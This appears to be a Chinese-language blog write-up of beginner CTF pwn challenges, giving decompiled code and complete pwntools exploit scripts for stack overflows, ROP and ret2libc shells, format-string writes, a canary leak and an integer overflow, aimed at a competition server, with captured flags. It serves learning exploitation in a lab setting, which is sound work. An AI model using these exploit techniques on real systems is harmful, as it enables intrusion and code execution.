一直做re觉得有些枯燥,闲着没事做一做好久没碰的pwn
level2 checksec一下,开了NX
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main (int argc, const char **argv, const char **envp) { vulnerable_function (); system ("echo 'Hello World!'" ); return 0 ; } ssize_t vulnerable_function () { char buf; system ("echo Input:" ); return read (0 , &buf, 0x100 u); }
程序中调用了system,在字符串视图里也找到了"/bin/sh",所以构造一个ROP就可以,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *io=process('./level2' ) elf=ELF('./level2' ) sys_addr=elf.symbols['system' ] sh_addr=elf.search('/bin/sh' ).next () payload='a' *(0x88 +4 )+p32(sys_addr)+p32(0 )+p32(sh_addr) io.sendline(payload) io.interactive()
guess_num 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 __int64 __fastcall main (__int64 a1, char **a2, char **a3) { FILE *v3; const char *v4; int v6; int i; int v8; char v9; unsigned int seed[2 ]; unsigned __int64 v11; v11 = __readfsqword(0x28 u); setbuf (stdin, 0LL ); setbuf (stdout, 0LL ); v3 = stderr; setbuf (stderr, 0LL ); v6 = 0 ; v8 = 0 ; *(_QWORD *)seed = sub_BB0 (v3, 0LL ); puts ("-------------------------------" ); puts ("Welcome to a guess number game!" ); puts ("-------------------------------" ); puts ("Please let me know your name!" ); printf ("Your name:" ); gets (&v9); v4 = (const char *)seed[0 ]; srand (seed[0 ]); for ( i = 0 ; i <= 9 ; ++i ) { v8 = rand () % 6 + 1 ; printf ("-------------Turn:%d-------------\n" , (unsigned int )(i + 1 )); printf ("Please input your guess number:" ); __isoc99_scanf("%d" , &v6); puts ("---------------------------------" ); if ( v6 != v8 ) { puts ("GG!" ); exit (1 ); } v4 = "Success!" ; puts ("Success!" ); } sub_C3E (v4); return 0LL ; }
这里首先看到是猜随机生成的数,然后如果所有的数都猜对了,就调用最后一个函数输出flag,首先的想法就是要替换掉seed,变成我们已知的数字,就可以调用相同版本的libc里的随机数生成函数,来生成同样的数,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *from ctypes import *io = remote('111.198.29.45' , 46930 ) libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6" ) payload = 'a' *0x20 + p64(0 ) io.recvuntil('Your name:' ) io.sendline(payload) libc.srand(0 ) for i in range (10 ): num = str (libc.rand() % 6 +1 ) io.recvuntil('number:' ) io.sendline(num) io.interactive()
int_overflow 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; setbuf (stdin, 0 ); setbuf (stdout, 0 ); setbuf (stderr, 0 ); puts ("---------------------" ); puts ("~~ Welcome to CTF! ~~" ); puts (" 1.Login " ); puts (" 2.Exit " ); puts ("---------------------" ); printf ("Your choice:" ); __isoc99_scanf("%d" , &v4); if ( v4 == 1 ) { login (); } else { if ( v4 == 2 ) { puts ("Bye~" ); exit (0 ); } puts ("Invalid Choice!" ); } return 0 ; }
肯定选择1,进入login()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 int login () { char buf; char s; memset (&s, 0 , 0x20 u); memset (&buf, 0 , 0x200 u); puts ("Please input your username:" ); read (0 , &s, 0x19 u); printf ("Hello %s\n" , &s); puts ("Please input your passwd:" ); read (0 , &buf, 0x199 u); return check_passwd (&buf); } char *__cdecl check_passwd (char *s) { char *result; char dest; unsigned __int8 v3; v3 = strlen (s); if ( v3 <= 3u || v3 > 8u ) { puts ("Invalid Password" ); result = (char *)fflush (stdout); } else { puts ("Success" ); fflush (stdout); result = strcpy (&dest, s); } return result; }
然后发现了一个奇怪的函数,可以利用
1 2 3 4 int what_is_this () { return system ("cat flag" ); }
按理说我们只需要覆盖掉check_passwd()的返回值,然后伪造system栈帧就可以了,但是这里限制了我们输入的长度,但是观察汇编之后发现这个变量值是从al寄存器mov过来的,只能存储0-255的数字,因此我们可以输入259-263之间的字符数,就可以实现我们的目标,exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *elf=ELF('./int_overflow' ) sys_addr=elf.symbols['what_is_this' ] io=remote('111.198.29.45' ,41386 ) io.sendlineafter('Your choice:' ,'1' ) io.sendlineafter('Please input your username:' ,'rycbar' ) io.recvuntil('Please input your passwd:' ) payload='a' *0x14 +'a' *4 +p32(sys_addr) payload=payload.ljust(263 ,'a' ) io.send(payload) io.recv() io.interactive()
cgpwn2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 int __cdecl main (int argc, const char **argv, const char **envp) { setbuf (stdin, 0 ); setbuf (stdout, 0 ); setbuf (stderr, 0 ); hello (); puts ("thank you" ); return 0 ; } char *hello () { char *v0; signed int v1; unsigned int v2; char *v3; char s; int v6; v0 = &s; v1 = 30 ; if ( (unsigned int )&s & 2 ) { *(_WORD *)&s = 0 ; v0 = (char *)&v6; v1 = 28 ; } v2 = 0 ; do { *(_DWORD *)&v0[v2] = 0 ; v2 += 4 ; } while ( v2 < (v1 & 0xFFFFFFFC ) ); v3 = &v0[v2]; if ( v1 & 2 ) { *(_WORD *)v3 = 0 ; v3 += 2 ; } if ( v1 & 1 ) *v3 = 0 ; puts ("please tell me your name" ); fgets (name, 50 , stdin); puts ("hello,you can leave some message here:" ); return gets (&s); } int pwn () { return system ("echo hehehe" ); }
所有需要用到的函数都在这里,可以看到自带system函数,但是没有/bin/sh,所以需要手动构造,正好之前输入了一个name是一个全局变量,可以直接找到地址,以此构造ROP,exp如下:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *sh_addr=0x0804A080 elf=ELF('./cgpwn2' ) sys_addr=elf.symbols['system' ] io=process('./cgpwn2' ) io=remote('111.198.29.45' ,52898 ) io.sendlineafter('please tell me your name' ,'/bin/sh' ) io.recvuntil('hello,you can leave some message here:' ) payload='a' *0x26 +p32(0 )+p32(sys_addr)+p32(0 )+p32(sh_addr) io.sendline(payload) io.interactive()
when_did_you_born 简单的栈溢出,经典题目,有膜法
1 2 3 4 5 6 7 8 9 from pwn import *io=remote('111.198.29.45' ,47087 ) io.sendlineafter('What\'s Your Birth?' ,'1000' ) io.recvuntil("What's Your Name?" ) payload='a' *(0x20 -0x18 )+p64(1926 ) io.sendline(payload) io.interactive()
hello_pwn 比上一题更简单的溢出(半斤八两)
1 2 3 4 5 6 7 from pwn import *io=remote('111.198.29.45' ,42456 ) io.recvuntil('bof' ) payload='a' *4 +p64(1853186401 ) io.sendline(payload) io.interactive()
level3 ret2libc,泄露一个函数地址然后算偏移,控制程序流程再执行一次漏洞函数,拿到shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from LibcSearcher import *io=remote('111.198.29.45' ,41019 ) elf=ELF('./level3' ) write_plt=elf.plt['write' ] vuln_addr = elf.symbols['vulnerable_function' ] write_got=elf.got['write' ] payload='a' *0x88 +p32(0 )+p32(write_plt)+p32(vuln_addr)+p32(1 )+p32(write_got)+p32(4 ) io.recvuntil('Input:\n' ) io.sendline(payload) write_leak=u32(io.recv()[:4 ]) libc=LibcSearcher('write' ,write_leak) libc_base = write_leak - libc.dump('write' ) sys_addr=libc_base+libc.dump('system' ) bin_sh_addr=libc_base+libc.dump('str_bin_sh' ) io.recv() payload='a' *0x88 +p32(0 )+p32(sys_addr)+p32(0 )+p32(bin_sh_addr) io.sendline(payload) io.interactive()
这里还有个问题没解决,在本地运行一直不行,但是在服务器端就可以拿到shell,暂时还不知道原因
level0 也是很简单的一道题,但不知道为什么gdb和远程都能过,就是本地直接运行一直报segmentation fault
1 2 3 4 5 6 7 8 9 10 11 from pwn import *sys_addr=0x400596 pop_ret_addr=0x400663 main_addr=0x4005c6 io=remote('111.198.29.45' ,47038 ) payload='a' *(0x80 +8 )+p64(sys_addr) io.recv() io.send(payload) io.interactive()
CGfsb 格式化字符串漏洞的利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int __cdecl main (int argc, const char **argv, const char **envp) { int buf; int v5; __int16 v6; char s; unsigned int v8; v8 = __readgsdword(0x14 u); setbuf (stdin, 0 ); setbuf (stdout, 0 ); setbuf (stderr, 0 ); buf = 0 ; v5 = 0 ; v6 = 0 ; memset (&s, 0 , 0x64 u); puts ("please tell me your name:" ); read (0 , &buf, 0xA u); puts ("leave your message please:" ); fgets (&s, 100 , stdin); printf ("hello %s" , &buf); puts ("your message is:" ); printf (&s); if ( pwnme == 8 ) { puts ("you pwned me, here is your flag:\n" ); system ("cat flag" ); } else { puts ("Thank you!" ); } return 0 ; }
两次输入,第一次只能输入10个字符,不够我们构造payload,所以利用第二次输入的格式化字符串漏洞实现任意地址可写,修改pwnme的值,exp如下:
1 2 3 4 5 6 7 8 9 from pwn import *pwnme=0x0804A068 payload=p32(pwnme)+'a' *4 +'%10$n' io=remote('111.198.29.45' ,37888 ) io.sendlineafter('name:' ,'a' ) io.recvuntil('please:' ) io.sendline(payload) io.interactive()
很简单,直接输出flag
1 cyberpeace {428 fd5 c839 a04 a6 d162 bdd6610 a094 cf}
forgot 这道题简单的溢出就可以解决了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 int __cdecl main () { size_t v0; char v2[32 ]; int (*v3)(); int (*v4)(); int (*v5)(); int (*v6)(); int (*v7)(); int (*v8)(); int (*v9)(); int (*v10)(); int (*v11)(); int (*v12)(); char s; int v14; size_t i; v14 = 1 ; v3 = sub_8048604; v4 = sub_8048618; v5 = sub_804862C; v6 = sub_8048640; v7 = sub_8048654; v8 = sub_8048668; v9 = sub_804867C; v10 = sub_8048690; v11 = sub_80486A4; v12 = sub_80486B8; puts ("What is your name?" ); printf ("> " ); fflush (stdout); fgets (&s, 32 , stdin); sub_80485DD ((int )&s); fflush (stdout); printf ("I should give you a pointer perhaps. Here: %x\n\n" , sub_8048654); fflush (stdout); puts ("Enter the string to be validate" ); printf ("> " ); fflush (stdout); __isoc99_scanf("%s" , v2); for ( i = 0 ; ; ++i ) { v0 = i; if ( v0 >= strlen (v2) ) break ; switch ( v14 ) { case 1 : if ( sub_8048702 (v2[i]) ) v14 = 2 ; break ; case 2 : if ( v2[i] == 64 ) v14 = 3 ; break ; case 3 : if ( sub_804874C (v2[i]) ) v14 = 4 ; break ; case 4 : if ( v2[i] == 46 ) v14 = 5 ; break ; case 5 : if ( sub_8048784 (v2[i]) ) v14 = 6 ; break ; case 6 : if ( sub_8048784 (v2[i]) ) v14 = 7 ; break ; case 7 : if ( sub_8048784 (v2[i]) ) v14 = 8 ; break ; case 8 : if ( sub_8048784 (v2[i]) ) v14 = 9 ; break ; case 9 : v14 = 10 ; break ; default : continue ; } } (*(&v3 + --v14))(); return fflush (stdout); }
有两个输入的地方,第一个地方严格控制了输入的字符数,所以没什么用,第二个用了scanf,可以无限制的输入,利用这个地方来控制我们的程序。
这个程序开了NX,所以找找有没有可以利用的函数,找到
1 2 3 4 5 6 7 int sub_80486CC () { char s; snprintf (&s, 0x32 u, "cat %s" , "./flag" ); return system (&s); }
接下来考虑怎么利用。程序最后会根据v14的值来判断该执行那个函数,看到有些人想要覆盖v14的值,我的做法就是保留v14=1然后去替换v3的值,因为即使替换掉v14,后面也会被修改。
下一步就是要控制v14的值不变,我的做法是在写入的时候先写入一个'\0',这样判断字符串长度的时候为0,直接跳出循环。exp如下:
1 2 3 4 5 6 7 8 9 from pwn import *io=remote('111.198.29.45' ,40669 ) io.recvuntil('>' ) io.sendline('a' ) payload='\0' +'A' *0x1f +p32(0x80486cc ) io.recvuntil('>' ) io.sendline(payload) io.interactive()
得到flag
1 cyberpeace {3 a2 c567 e832 c79478 c593 e5 f6 f334830 }
Mary_Morton 题目里面一共有两个漏洞,并且都标明出来了,不需要自己去找
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { int v3; unsigned __int64 v4; v4 = __readfsqword(0x28 u); sub_4009FF (); puts ("Welcome to the battle ! " ); puts ("[Great Fairy] level pwned " ); puts ("Select your weapon " ); while ( 1 ) { while ( 1 ) { sub_4009DA (); __isoc99_scanf("%d" , &v3); if ( v3 != 2 ) break ; sub_4008EB (); } if ( v3 == 3 ) { puts ("Bye " ); exit (0 ); } if ( v3 == 1 ) sub_400960 (); else puts ("Wrong!" ); } } int sub_4009DA () { puts ("1. Stack Bufferoverflow Bug " ); puts ("2. Format String Bug " ); return puts ("3. Exit the battle " ); }
选择2的话会进入一个包含格式化字符串漏洞的函数,选择1会进入一个有栈溢出漏洞的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 unsigned __int64 sub_4008EB () { char buf; unsigned __int64 v2; v2 = __readfsqword(0x28 u); memset (&buf, 0 , 0x80 uLL); read (0 , &buf, 0x7F uLL); printf (&buf, &buf); return __readfsqword(0x28 u) ^ v2; } unsigned __int64 sub_400960 () { char buf; unsigned __int64 v2; v2 = __readfsqword(0x28 u); memset (&buf, 0 , 0x80 uLL); read (0 , &buf, 0x100 uLL); printf ("-> %s\n" , &buf); return __readfsqword(0x28 u) ^ v2; } int sub_4008DA () { return system ("/bin/cat ./flag" ); }
如果checksec或者直接看到v2就可以发现,这个程序开了cannary保护,所以直接溢出是不行的,这时候可以考虑利用格式化字符串漏洞泄露cannary的值,因为进程没有中止就进入了下一个循环,所以cannary的值是不变的,这个时候选择利用栈溢出漏洞,覆盖返回地址为目标函数即可。这里虽然是64位,但是调用的函数没有参数,没必要构造很复杂的ROP链来控制程序执行流程。
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *sys_addr=0x4008da io=remote('111.198.29.45' ,39178 ) io.recvuntil("3. Exit the battle \n" ) io.sendline("2" ) io.sendline("%23$p" ) cannary= int (io.recvline().strip('\n' ),16 ) print cannaryio.recvuntil("3. Exit the battle \n" ) io.sendline("1" ) payload="" payload+='a' *0x88 payload+=p64(cannary) payload+=p64(0 ) payload+=p64(sys_addr) io.sendline(payload) io.interactive()
得到flag
1 cyberpeace {8 b06 a4 becaf5 e73 cd79 ea7 d283 d0 bd89 }
Comments